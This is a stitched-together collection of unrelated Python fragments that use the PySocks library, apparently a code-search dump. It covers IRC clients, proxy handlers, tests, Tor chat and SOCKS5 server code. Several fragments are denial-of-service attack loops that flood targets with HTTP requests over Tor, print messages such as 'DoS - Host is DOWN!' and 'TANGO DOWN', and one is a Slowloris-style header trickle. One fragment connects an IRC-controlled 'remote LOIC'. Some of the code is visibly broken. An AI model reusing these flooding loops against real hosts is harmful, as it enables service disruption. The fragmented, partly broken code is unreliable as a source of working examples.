def start(self):
self.server = self.config['server']
self.port = int(self.config['port'])
if self.config['proxyhost'] is None:
if self.config['ssl'] is True:
if self.ipv6:
self.sock = wrap_socket(socket.socket(socket.AF_INET6, socket.SOCK_STREAM))
else:
self.sock = wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
else:
if self.ipv6:
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
else:
if self.config['ssl'] is True:
temp_socket = socks.socksocket()
temp_socket.setproxy(socks.PROXY_TYPE_SOCKS4, self.config['proxyhost'], self.config['proxyport'], True)
self.sock = wrap_socket(temp_socket)
else:
self.sock = socks.socksocket()
self.sock.setproxy(socks.PROXY_TYPE_SOCKS4, self.config['proxyhost'], self.config['proxyport'], True)
self.sock.connect((self.server, self.port))
#send pass
if self.config["pass"] is not None:
self.send("PASS " + self.config["pass"], True)
self.send("USER " + self.user + " 127.0.0.1 " + self.server + " :" + self.real, True)
self.set_nick(self.nick)
self.main()
def test_mock_connect():
m = mox.Mox()
class MockSocket(object):
def setproxy(self, *args):
self.args = args
def settimeout(self, value):
self.timeout = value
def connect(self, tup):
self.host, self.port = tup
mock_socket = MockSocket()
m.StubOutWithMock(socks, 'socksocket')
socks.socksocket().AndReturn(mock_socket)
m.ReplayAll()
handler = make_handler('foo', 1234)
conn = handler.build_connection('www.google.com', timeout=1)
conn.connect()
assert mock_socket.args == conn._proxyargs
assert mock_socket.timeout == 1
assert mock_socket.host == 'www.google.com'
assert mock_socket.port == 80
m.UnsetStubs()
m.VerifyAll()
def connect_to_channel(hostname, port, party):
mylog('Trying to connect to %s for party %d' % (repr((hostname, port)), party), verboseLevel=-1)
retry = True
s = socks.socksocket()
while retry:
try:
s = socks.socksocket()
s.connect((hostname, port))
retry = False
except Exception, e: # socks.SOCKS5Error:
retry = True
gevent.sleep(1)
s.close()
mylog('retrying (%s, %d) caused by %s...' % (hostname, port, str(e)) , verboseLevel=-1)
def connect_to_channel(hostname, port, party):
mylog('Trying to connect to %s for party %d' % (repr((hostname, port)), party), verboseLevel=-2)
retry = True
s = socks.socksocket()
while retry:
try:
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", TOR_SOCKSPORT[party], True)
s.connect((hostname, port))
retry = False
except Exception, e: # socks.SOCKS5Error: # still no idea why socks over tor would always generate this error
retry = True
gevent.sleep(1)
s.close()
mylog('retrying (%s, %d) caused by %s...' % (hostname, port, str(e)) , verboseLevel=-2)
def do_CONNECT(self):
host, _, port = self.path.rpartition(':')
ip = self.getip(host)
logging.info ("[Connect] Resolved " + host + " => " + ip)
try:
if not (isDomainBlocked(host) or isIpBlocked(ip)):
self.remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
logging.info ("SSL: connect " + host + " ip:" + ip)
self.remote.connect((ip, int(port)))
Agent = 'WCProxy/1.0'
self.wfile.write('HTTP/1.1'+' 200 Connection established\n'+
'Proxy-agent: %s\n\n'%Agent)
self._read_write()
return
except:
pass
if gConfig["PROXY_TYPE"]=="socks5":
self.remote = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
print ("SSL: connect " + host + " ip:" + ip + " var socks5 proxy")
self.remote.connect((ip, int(port)))
Agent = 'WCProxy/1.0'
self.wfile.write('HTTP/1.1'+' 200 Connection established\n'+
'Proxy-agent: %s\n\n'%Agent)
self._read_write()
return
self.do_CONNECT_Tunnel()
def socket_SOCKS4_IP_test():
s = socks.socksocket()
s.set_proxy(socks.SOCKS4, "127.0.0.1", 1080)
s.connect(("133.242.129.236", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")
def __init__(self, host, port, tor):
Thread.__init__(self)
self.host = host
self.port = port
self.socks = socks.socksocket()
self.tor = tor
self.running = True
def run(self):
while self.running:
while self.running:
try:
if self.tor:
self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
self.socks.connect((self.host, self.port))
#print term.ERASE_BOL + term.UP + term.ERASE_EOL + "Connected to host..." + term.NORM
print "Connected to host..." + term.NORM
break
except Exception, e:
if e.args[0] == 106 or e.args[0] == 60:
break
print term.ERASE_BOL + term.UP + term.ERASE_EOL + "Error connecting to host..." + term.NORM
time.sleep(1)
continue
while self.running:
try:
self._send_http_post()
except Exception, e:
if e.args[0] == 32 or e.args[0] == 104:
print term.ERASE_BOL + term.UP + term.ERASE_EOL + "Thread broken, restarting..." + term.NORM
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
def connect(self):
"""Connect to the host and port specified in __init__."""
self.sock = socket.create_connection((self.host,self.port),
self.timeout)
# Mostly verbatim from httplib.py.
msg = "getaddrinfo returns an empty list"
for res in socket.getaddrinfo(self.host, self.port, 0,
socket.SOCK_STREAM):
af, socktype, proto, canonname, sa = res
try:
if self.proxy_info and self.proxy_info.isgood():
self.sock = socks.socksocket(af, socktype, proto)
self.sock.setproxy(*self.proxy_info.astuple())
else:
self.sock = socket.socket(af, socktype, proto)
# Different from httplib: support timeouts.
if has_timeout(self.timeout):
self.sock.settimeout(self.timeout)
# End of difference from httplib.
if self.debuglevel > 0:
print("connect: (%s, %s)" % (self.host, self.port))
self.sock.connect(sa)
except socket.error as msg:
if self.debuglevel > 0:
print('connect fail:', (self.host, self.port))
if self.sock:
self.sock.close()
self.sock = None
continue
break
if not self.sock:
raise socket.error(msg)
def init_tcp(self, host, port, proxy=None, use_ssl=True):
self.init_server(host, port, proxy, use_ssl)
global proxy_modes
self.connection_msg = "%s:%d"%(self.host,self.port)
if self.proxy is None:
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
else:
self.connection_msg += " using proxy %s:%s:%s"%(self.proxy.get('mode'), self.proxy.get('host'), self.proxy.get('port'))
import socks
s = socks.socksocket()
s.setproxy(proxy_modes.index(self.proxy["mode"]) + 1, self.proxy["host"], int(self.proxy["port"]) )
if self.use_ssl:
s = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_SSLv23)
s.settimeout(2)
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
try:
s.connect(( self.host.encode('ascii'), int(self.port)))
s.settimeout(60)
self.s = s
self.is_connected = True
except:
self.is_connected = False
self.s = None
def run(self):
while self.running:
while self.running:
try:
if self.tor:
self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)
self.socks.connect((self.host, self.port))
print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
break
except Exception, e:
if e.args[0] == 106 or e.args[0] == 60:
break
print term.BOL+term.UP+term.CLEAR_EOL+"DoS - Host is DOWN!"+ term.NORMAL
time.sleep(1)
continue
while self.running:
try:
random.choice([self._send_http_post(), self._send_http_get(), self._send_http_head(), self._send_http_get()+self._send_http_post(), self._send_http_head()+self._send_http_post(), self._send_http_get()+self._send_http_head()])
except Exception, e:
if e.args[0] == 32 or e.args[0] == 104:
print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
def atest(x,a):
while True:
try:
x = proxies.pop(0)
except:
sys.stderr.write("- Finished")
return
state = ""
test = ["HTTP", "SOCKS4", "SOCKS5"]
for mode in test:
kmode = eval("socks.PROXY_TYPE_" + mode)
try:
s = socks.socksocket()
s.settimeout(5)
s.setproxy(kmode, x.split(":")[0], int(x.split(":")[1].replace("\n","")))
s.connect(("www.ubuntu.com",80))
s.sendall("GET / HTTP/1.1\r\nHost: www.ubuntu.com\r\n\r\n")
kddt = s.recv(500)
if kddt.find("Home | Ubuntu"):
state = mode
s.close()
break
s.close()
except:
pass
if state != "":
syncprint(state + "|" + x.replace("\n",""))
def socket_SOCKS4_test():
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS4, "127.0.0.1", 1080)
s.connect(("api.externalip.net", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")
def connect(self):
sock = socks.socksocket()
sock.setproxy(*self.proxyargs)
if type(self.timeout) in (int, float):
sock.settimeout(self.timeout)
sock.connect((self.host, self.port))
self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file)
def ensure_connected(self, connection, proto, host, timeout):
if connection != None and connection.sock != None:
return connection, False
if proto == 'https': connector = httplib.HTTPSConnection
else: connector = httplib.HTTPConnection
if not self.config.proxy:
return connector(host, strict=True, timeout=timeout), True
host, port = host.split(':')
proxy_proto, user, pwd, proxy_host, name = self.config.proxy
proxy_port = 1050
proxy_host = proxy_host.split(':')
if len(proxy_host) > 1:
proxy_port = int(proxy_host[1]); proxy_host = proxy_host[0]
connection = connector(host, strict=True)
connection.sock = socks.socksocket()
#connection.sock.settimeout(timeout)
proxy_type = socks.PROXY_TYPE_SOCKS5
if proxy_proto == 'http':
proxy_type = socks.PROXY_TYPE_HTTP
elif proxy_proto == 'socks4':
proxy_type = socks.PROXY_TYPE_SOCKS4
connection.sock.setproxy(proxy_type, proxy_host, proxy_port, True, user, pwd)
try:
connection.sock.connect((host, int(port)))
except socks.Socks5AuthError as e:
self.miner.stop('Proxy error: ' + str(e))
return connection, True
def socket_SOCKS5_IP_test():
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 1081)
s.connect(("109.74.3.220", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")
def socket_SOCKS5_IP_test():
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081)
s.connect(("95.211.60.37", 80))
s.sendall(raw_HTTP_request())
status = s.recv(2048).splitlines()[0]
assert status.startswith(b"HTTP/1.1 200")
def run(self):
while self.running:
while self.running:
try:
if self.tor:
self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
self.socks.connect((self.host, self.port))
print term.BOL + term.UP + term.CLEAR_EOL + "T0r b0ts c0nnected" + term.NORMAL
break
except Exception, e:
if e.args[0] == 106 or e.args[0] == 60:
break
print term.BOL + term.UP + term.CLEAR_EOL + "Error connecting" + term.NORMAL
time.sleep = (random.uniform(1, 3))
continue
while self.running:
try:
random.choice[(self._send_http_post(), self._send_http_get())]
except Exception, e:
if e.args[0] == 32 or e.args[0] == 104:
print term.BOL + term.UP + term.CLEAR_EOL + "Broken threads, restarting..." + term.NORMAL
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
def pysocks(host='www.twitter.com', port=443):
import socks
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, "127.0.0.1") # SOCKS4 and SOCKS5 use port 1080 by default
s.connect((host, port))
s.sendall("GET / HTTP/1.1 \r\n\r\n")
print s.recv(4096)
def __init__(self, host, port):
'''Create connection to Tor proxy'''
self.proxyhost = host
self.proxyport = port
self.proxy = socks.socksocket()
self.proxy.setproxy(socks.PROXY_TYPE_SOCKS5, self.proxyhost, self.proxyport)
self.events = None
def run(self):
global stop_now
#start_time = time.time()
while self.running and self.length > time.time() - self.start_time:
while self.running:
try:
if self.tor:
self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
self.socks.connect((self.host, self.port))
print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
break
except Exception, e:
if e.args[0] == 106 or e.args[0] == 60:
break
print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
time.sleep(1)
continue
while self.running and self.length > time.time() - self.start_time:
try:
self._send_http_post()
except Exception, e:
if e.args[0] == 32 or e.args[0] == 104:
print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
def clientConnectionThread(stdscr,ServerOnionURL,msgs):
global roster
# Try to load Socksipy
try:
import socks
except:
print "[E] Can't load socksiphy module."
print "[E] Try installing python-socksipy in debian-like distros"
exit(0)
while(True):
try:
log("Trying to connect to %s:%d" % (ServerOnionURL,hidden_service_port))
## Connects to TOR via Socks
s=socks.socksocket(socket.AF_INET,socket.SOCK_STREAM)
s.setproxy(socks.PROXY_TYPE_SOCKS5,tor_server,tor_server_socks_port)
s.settimeout(100)
s.connect((ServerOnionURL,hidden_service_port))
s.setblocking(0)
log("clientConnection: Connected to %s" % ServerOnionURL)
log("clientConnection: Autorequesting roster...")
msgs.append("/roster")
randomwait=random.randint(1,clientRandomWait)
except:
log("clientConnection: Can't connect! retrying...")
time.sleep(1)
continue
try:
while(True):
time.sleep(1)
ready = select.select([s], [], [], 1.0)
# received data from server
if ready[0]:
data=sanitize(s.recv(minimum_message_len))
# received pong (ignore)
if data.find("/PING ")>-1:
continue
# received roster list
if data.startswith("--roster"):
roster=[]
for i in data.split(' ')[1:]:
roster.append(i)
# Write received data to channel
log(data)
# We need to send a message
if len(msgs)>0:
randomwait-=1 # Wait some random time to add noise
if randomwait==0:
m = addpadding(msgs.pop(0))
s.sendall(m)
randomwait=random.randint(1,clientRandomWait)
# send noise in form of PINGs
if random.randint(0,clientRandomNoise)==0:
ping="/PING "
for i in range(120):
ping+="%02X" % random.randint(0,255)
#log("Sending %s" % ping)
msgs.append(ping)
except:
s.close()
pass
def build_sockets(self):
self.debug.put('Socket Builder started.')
count = 0
while (self.options['attacklimit'] == 0 or self.options['attacklimit'] > self.attacks) and self.running:
if self.options['connectionlimit'] > self.sockets:
if self.options['socksversion'] == 'SOCKS4' or self.options['socksversion'] == 'SOCKS5' or self.options['socksversion'] == 'HTTP':
if self.options['socksversion'] == 'SOCKS4': proxytype = socks.PROXY_TYPE_SOCKS4
elif self.options['socksversion'] == 'SOCKS5': proxytype = socks.PROXY_TYPE_SOCKS5
else: proxytype = socks.PROXY_TYPE_HTTP
s = socks.socksocket()
if self.options['socksuser'] == '' and self.options['sockspass'] == '':
s.setproxy(proxytype, self.options['sockshost'], self.options['socksport'], self.options['socksuser'], self.options['sockspass'])
else:
s.setproxy(proxytype, self.options['sockshost'], self.options['socksport'])
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((self.options['host'], self.options['port']))
if self.options['ssl'] == True:
wrap_socket(s)
self.connections.put((s, 0))
self.debug.put('Socket opened, connection created.')
self.attacks += 1
self.sockets += 1
except Exception, ex:
self.errors.put('Could not connect. %s.' % (ex))
if self.options['timebetweenconnections'] > 0:
time.sleep(self.options['timebetweenconnections'])
def run(self):
self.rep = REPEAT
down = False
while self.rep:
try:
if I2P:
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS5,"127.0.0.1", 4475)
else:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
down = False
s.send('GET / HTTP/1.0\r\n')
s.send('Host: %s\r\n' % (HOST))
s.send('User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n')
s.send('Content-Length: 42\r\n')
while True:
sleep(DELAY)
s.send('X-a: b\r\n')
# send this to shut down connections
# s.send('\r\n')
# s.close()
except Exception:
if not down:
print "TANGO DOWN"
down = True
def put_flag(ip, flag):
user = id_generator()
try:
socket = socks.socksocket()
socket.connect((ip , 16404))
a = socket.recv(1024)
socket.send("reg\n")
a = socket.recv(1024)
socket.send(user + "\n")
a = socket.recv(1024)
b = re.compile('is (.*)\n')
token = b.findall(a)
a = socket.recv(1024)
socket.send("add\n")
a = socket.recv(1024)
socket.send(flag + "\n")
a = socket.recv(1024)
socket.close()
if len(token) < 1:
status["error"].append(4)
return False
return token[0]
except:
status["error"].append(4)
return False
def _connect_to_host(self):
# Connect to destination
if "HTTP_PROXY" in os.environ:
split_result = urllib_parse.urlsplit(os.environ["HTTP_PROXY"])
self._proxy_sock = socks.socksocket()
self._proxy_sock.set_proxy(
proxy_type=socks.PROXY_TYPE_HTTP,
addr=split_result.hostname,
port=split_result.port,
username=split_result.username,
password=split_result.password,
)
else:
self._proxy_sock = socket.socket()
self._proxy_sock.settimeout(60)
self._proxy_sock.connect((self.hostname, int(self.port)))
# Wrap socket if SSL is required
if self.is_connect:
try:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
self._proxy_sock = context.wrap_socket(self._proxy_sock, server_hostname=self.hostname)
except AttributeError:
try:
self._proxy_sock = ssl.wrap_socket(self._proxy_sock)
except ssl.SSLError:
self.logger.warn("failed to establish ssl connection to {}; python ssl library does not support SNI, considering upgrading to python >= 2.7.9 or python 3.4".format(self.hostname))
raise
def web_page(self, mode, string, public_mode):
'''Test that the web page contains a string'''
s = socks.socksocket()
s.settimeout(60)
s.connect(('127.0.0.1', self.gui.app.port))
if not public_mode:
path = '/{}'.format(mode.server_status.web.slug)
else:
path = '/'
http_request = 'GET {} HTTP/1.0\r\n'.format(path)
http_request += 'Host: 127.0.0.1\r\n'
http_request += '\r\n'
s.sendall(http_request.encode('utf-8'))
with open('/tmp/webpage', 'wb') as file_to_write:
while True:
data = s.recv(1024)
if not data:
break
file_to_write.write(data)
file_to_write.close()
f = open('/tmp/webpage')
self.assertTrue(string in f.read())
f.close()
def run(self):
while self.running:
while self.running:
try:
if self.tor:
self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)
self.socks.connect((self.host, self.port))
print term.BOL+term.UP+term.CLEAR_EOL+"Connected to target!"+ term.NORMAL
break
except Exception, e:
if e.args[0] == 106 or e.args[0] == 60:
break
print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to target..."+ term.NORMAL
time.sleep(1)
continue
while self.running:
try:
self._send_http_post()
except Exception, e:
if e.args[0] == 32 or e.args[0] == 104:
print term.BOL+term.UP+term.CLEAR_EOL+"my sword broke, restarting..."+ term.NORMAL
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
def connect(self):
if self.host.endswith('.onion'):
event = Event(IRC_EVENT,"Using Tor")
getEventManager().signalEvent(event)
import socks
self.socket.settimeout(30)
self.socket = socks.socksocket(_sock=self.socket)
self.socket.setproxy(proxytype=socks.PROXY_TYPE_SOCKS5,addr='127.0.0.1',port=9050)
event = Event(IRC_EVENT,"Connecting...")
getEventManager().signalEvent(event)
self.listenThread = ListenThread(self.socket, self)
try:
self.socket.connect((self.host, self.port))
except Exception as e:
event = EVent(IRC_EVENT, "Connection Failure, "+str(e) )
getEVentManager().signalEvent(event)
return
if self.online_hook:
self.online_hook()
self.connected = True
self.listenThread.start()
self.socket.send("NICK %s\r\n" % self.nick)
self.socket.send("USER IRCLOIC %s blah :Newfag's remote LOIC\r\n" % self.host)
def check_flag(ip, flag, info):
try:
socket = socks.socksocket()
socket.connect((ip , 16404))
a = socket.recv(1024)
socket.send("auth\n")
a = socket.recv(1024)
socket.send(info + "\n")
a = socket.recv(1024)
if "Wrong" in a:
status["error"].append(4)
return False
a = socket.recv(1024)
socket.send("read\n")
a = socket.recv(1024)
if flag in a:
return True
else:
status["error"].append(3)
return False
except:
status["error"].append(4)
return False
def set_no_proxy(self): self.sock = socks.socksocket()
def _connect_to_remote_server(self):
'''
Connect to destination.
Note that connection_from_host has hard-coded `scheme='http'`
to avoid internal urllib3 logic when scheme is https. We handle ssl and
socks inside the current method.
self._conn_pool._get_conn() will either return an existing connection
or a new one. If its new, it needs initialization.
'''
self._conn_pool = self.server.remote_connection_pool.connection_from_host(
host=self.hostname,
port=int(self.port),
scheme='http',
pool_kwargs={
'maxsize': 12,
'timeout': self._socket_timeout
})
remote_ip = None
self._remote_server_conn = self._conn_pool._get_conn()
if is_connection_dropped(self._remote_server_conn):
if self.onion_tor_socks_proxy_host and self.hostname.endswith(
'.onion'):
self.logger.info(
"using tor socks proxy at %s:%s to connect to %s",
self.onion_tor_socks_proxy_host,
self.onion_tor_socks_proxy_port or 1080, self.hostname)
self._remote_server_conn.sock = socks.socksocket()
self._remote_server_conn.sock.set_proxy(
socks.SOCKS5,
addr=self.onion_tor_socks_proxy_host,
port=self.onion_tor_socks_proxy_port,
rdns=True)
self._remote_server_conn.sock.settimeout(self._socket_timeout)
self._remote_server_conn.sock.connect(
(self.hostname, int(self.port)))
else:
self._remote_server_conn.connect()
remote_ip = self._remote_server_conn.sock.getpeername()[0]
# Wrap socket if SSL is required
if self.is_connect:
try:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
self._remote_server_conn.sock = context.wrap_socket(
self._remote_server_conn.sock,
server_hostname=self.hostname)
except AttributeError:
try:
self._remote_server_conn.sock = ssl.wrap_socket(
self._remote_server_conn.sock)
except ssl.SSLError:
self.logger.warning(
"failed to establish ssl connection to %s; "
"python ssl library does not support SNI, "
"consider upgrading to python 2.7.9+ or 3.4+",
self.hostname)
raise
except ssl.SSLError as e:
self.logger.error(
'error connecting to %s (%s) port %s: %s',
self.hostname, remote_ip, self.port, e)
raise
return self._remote_server_conn.sock
def onionmail(hiddenserv):
global stat
global ret
global sok
global USER
global PEMCRT
print Col["purple"] + "Connecting to hidden service '" + Col[
"cyan"] + hiddenserv + Col["purple"] + "' ..." + Col["0"]
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)
sok = socks.socksocket()
sok.connect((hiddenserv, 110))
except IOError:
print Col[
"ored"] + "\tError: Can't connect to this hidden service!" + Col[
"0"]
raise
print "\t" + Col["blue"] + "Connected!!!" + Col["0"]
rs = rdcmd()
perro("Error on POP3 server")
send("CAPA")
rs = rdcmdm()
perro("Error ip POP3 session")
if (string.find(rs, "\nRQUS\n") == -1):
send("QUIT")
rs = rdcmd()
sok.close()
print Col["ored"] + "This server doesn't support RQUS" + Col["0"]
raise PException("PERRO")
print Col["cyan"] + "New user request" + Col["0"]
send("RQUS")
while (1):
rs = rdcmdm()
if (ret != "CAPTCHA"):
perro("Too many error")
break
print rs
print Col["purple"] + "Enter CAPTCHA:" + Col["0"]
cp = sys.stdin.readline()
cp = string.strip(cp)
send(cp)
print Col["purple"] + "Enter voucher code or empty line:" + Col["0"]
cp = sys.stdin.readline()
cp = string.strip(cp)
send(cp)
rs = rdcmd()
perro("Operation not permitted on this server")
while (1):
print Col["purple"] + "Enter Username:"******"0"]
cp = sys.stdin.readline()
cp = string.strip(cp)
send(cp)
rs = rdcmd()
if (ret != "USERNAME"):
perro("Too many error")
break
print Col["cyan"] + "Subscribing user, please wait..." + Col["0"]
writedata("")
USER = rdcmdm()
perro("User subscription error")
print "\t" + Col["purple"] + "Done!!!" + Col["0"]
print Col["cyan"] + "Configuring Claws-Mail ..."
USER = parseheaders(USER)
checkuser()
configuser()
send("PEM")
PEMCRT = rdcmdm()
sok.close()
cp = configssl(USER["onion"])
if cp != 0:
print Col["ored"] + "Error on SSL configuration" + Col["0"]
print Col["red"] + "Verify the SSL certificate manually" + Col["0"]
print "\t" + Col["blue"] + "SHA1: " + Col["yellow"] + USER[
"sha1"] + Col["0"]
print "\t" + Col["purple"] + "Done!!!" + Col["0"]
if conf_mkpgp != 0:
print Col["cyan"] + "Creating a new PGP key" + Col["0"]
os.system("stty -echo")
while (1):
print Col["purple"] + "Enter the passphrase:" + Col["0"]
pha1 = sys.stdin.readline()
pha1 = string.strip(pha1)
sys.stdout.write(Col["yellow"])
for cp in xrange(len(pha1)):
sys.stdout.write("*")
print Col["0"]
print Col["purple"] + "Enter the passphrase again:" + Col["0"]
pha2 = sys.stdin.readline()
pha2 = string.strip(pha2)
sys.stdout.write(Col["yellow"])
for cp in xrange(len(pha2)):
sys.stdout.write("*")
print Col["0"]
if pha1 == pha2:
break
print Col["ored"] + "ERROR!" + Col["0"]
print Col["red"] + "Retry" + Col["0"]
os.system("stty echo")
while (1):
print Col["purple"] + "Enter your name:" + Col["0"]
pha2 = sys.stdin.readline()
pha2 = string.strip(pha2)
if len(pha2) > 8:
break
print Col["red"] + "Too short! Min. = 8 char." + Col["0"]
if conf_saveinfo == 1:
inf = ""
for key in USER:
inf = inf + key + " =\t" + USER[key] + "\n"
conf = open(conf_infofile + USER["number"] + ".txt", "w")
conf.write(inf)
conf.close()
if conf_mkpgp != 0:
print Col[
"cyan"] + "I'm creating a new PGP key (8192 bits).\n\tWait a few minutes...\n\tThe processing is very complex." + Col[
"0"]
ret = creategpgkey(USER["onionmail"], pha2, "8192", pha1)
print "\t" + str(ret) + " " + Col["blue"] + "Done!!!" + Col["0"]
pha2 = ""
pha1 = ""
print Col["cyan"] + "Account " + Col["green"] + USER["username"] + Col[
"cyan"] + " created successfully" + Col["0"]
pass
if __name__ == '__main__':
freeze_support() # must be this line, dont move ahead
key, public_key_readable, private_key_readable, encrypted, unlocked, public_key_hashed, address = essentials.keys_load_new(
"wallet.der")
if not unlocked:
key, private_key_readable = essentials.keys_unlock(
private_key_readable)
connected = 0
while connected == 0:
try:
s_node = socks.socksocket()
if tor_conf == 1:
s_node.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
s_node.connect((node_ip_conf, int(port)))
print("Connected")
connected = 1
s_node.close()
except Exception as e:
print(e)
print(
"Miner: Please start your node for the block to be submitted or adjust mining ip in settings."
)
time.sleep(1)
# verify connection
if sync_conf == 1:
check_uptodate(120)
def handle(self):
process_name = get_process_name(*self.client_address)
if process_name is None:
logging.info('accepting connection from %s:%s' %
self.client_address)
else:
logging.info('accepting connection from %s' % process_name)
# get version/authentication method count
version, nmethods = unpack('!BB', self.connection.recv(2))
if version != SOCKS_VERSION or nmethods <= 0:
logging.warn('got wrong version from request %d', version)
return
if nmethods == 0:
logging.warn('nmethods is zero')
return
# get available authentication methods
methods = self.get_available_authentication_methods(nmethods)
method = None
if self.requires_authentication:
if Method.USERNAME_PASSWORD not in methods:
logging.warn('only username/password authentication ' \
'supported')
self.server.close_request(self.request)
method = Method.USERNAME_PASSWORD
else:
if Method.NO_AUTH not in methods:
logging.warn('no authentication is required')
self.server.close_request(self.request)
method = Method.NO_AUTH
# send chosen authentication method
self.connection.sendall(pack('!BB', SOCKS_VERSION, method))
# authentication if required
if self.requires_authentication and not self.verify_credentials():
logging.info('invalid credentials')
return
# address/port
version, cmd, _, address_type = unpack('!BBBB',
self.connection.recv(4))
if version != SOCKS_VERSION:
logging.warn('got wrong version from request %d', version)
return
address = None
if address_type == AddressType.IPV4:
address = IPv4Address(self.connection.recv(4))
elif address_type == AddressType.DOMAINNAME:
domain_length = int(self.connection.recv(1)[0])
address = self.connection.recv(domain_length).decode('utf-8')
elif address_type == AddressType.IPV6:
address = IPv6Address(self.connection.recv(16))
else:
logging.warn('unknown address type %d' % address_type)
port = unpack('!H', self.connection.recv(2))[0]
logging.info('requested connection to %s %d', address, port)
# create connection
try:
if cmd == Command.CONNECT:
remote = socksocket()
nic = self.router(address, port)
if nic is not None:
remote.bind((ip_address_from_nic(nic), 0))
proxy = self.proxy(address, port)
if proxy is not None:
remote.set_proxy(*proxy)
remote.connect((str(address), port))
logging.info('connected to %s %s', address, port)
else:
logging.error('unknown command %d', cmd)
self.server.close_request(self.request)
return
reply = pack('!BBBB', SOCKS_VERSION, 0, 0, address_type)
if address_type in [AddressType.IPV4, AddressType.IPV6]:
reply += address.packed
elif address_type == AddressType.DOMAINNAME:
reply += pack('!B', len(address))
reply += address.encode('utf-8')
reply += pack('!H', port)
except Exception as err:
logging.error(err)
# return connection refused error
reply = self.generate_failed_reply(address_type, 5)
self.connection.sendall(reply)
# establish data exchange
if reply[1] == 0 and cmd == 1:
logging.info('exchanging data now')
self.exchange_loop(self.connection, remote, process_name, address)
self.server.close_request(self.request)
def login_and_loop(self):
global sys, tb
while True:
print("---new iter---", flush=True)
try:
mask2ctx = {}
from time import sleep as sleep_seconds
print("sleeping 50ms...")
sleep_seconds(0.05)
if self.connection_setting_or_None('socks5_host'):
host = self.connection_option('socks5_host')
print(f"new socks.socksocket({host})")
self.irc_socket = socks.socksocket()
self.irc_socket.set_proxy(
socks.SOCKS5, host,
self.connection_option('socks5_port'), True,
self.connection_option('socks5_username'),
self.connection_option('socks5_password'))
else:
print("new socket(AF_INET,SOCK_STREAM)")
self.irc_socket = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
print("connecting... irc_server_hostname='" +
self.irc_server_hostname + "' port='" + str(self.port) +
"'…")
self.irc_socket.connect((self.irc_server_hostname, self.port))
self.init_socket(self.irc_socket)
print(
"connected, self.sending login handshake, self.botName=[" +
self.botName + "]…")
# print (self.irc_socket.recv(2048).decode("UTF-8"))
self.send('NICK ' + self.botName + '\r\n')
self.send('USER ' + self.botName + ' ' + self.botName + ' ' +
self.botName + ' :irc bot\r\n')
# self.send('NickServ IDENTIFY '+settings.settings('password')+'\r\n')
# self.send('MODE '+self.botName+' +x')
name = ''
message = ''
message_voting = ''
voting_results = ''
count_voting = 0
count_vote_plus = 0
count_vote_minus = 0
count_vote_all = 0
while_count = 0
btc_usd = 0
eth_usd = 0
usd_rub = 0
eur_rub = 0
btc_rub = 0
btc_usd_old = 0
eth_usd_old = 0
usd_rub_old = 0
eur_rub_old = 0
btc_rub_old = 0
btc_usd_su = ''
eth_usd_su = ''
usd_rub_su = ''
eur_rub_su = ''
time_vote = 0
whois_ip = ''
whois_ip_get_text = ''
timer_exc = 0
time_exc = 0
where_mes_exc = ''
t2 = 0
dict_users = {}
dict_count = {}
dict_voted = {}
list_vote_ip = []
# List who free from anti-flood function.
list_floodfree = settings.settings('list_floodfree')
list_bot_not_work = settings.settings('list_bot_not_work')
keepingConnection = True
while keepingConnection:
try:
data = self.get_line(self.irc_socket).decode("UTF-8")
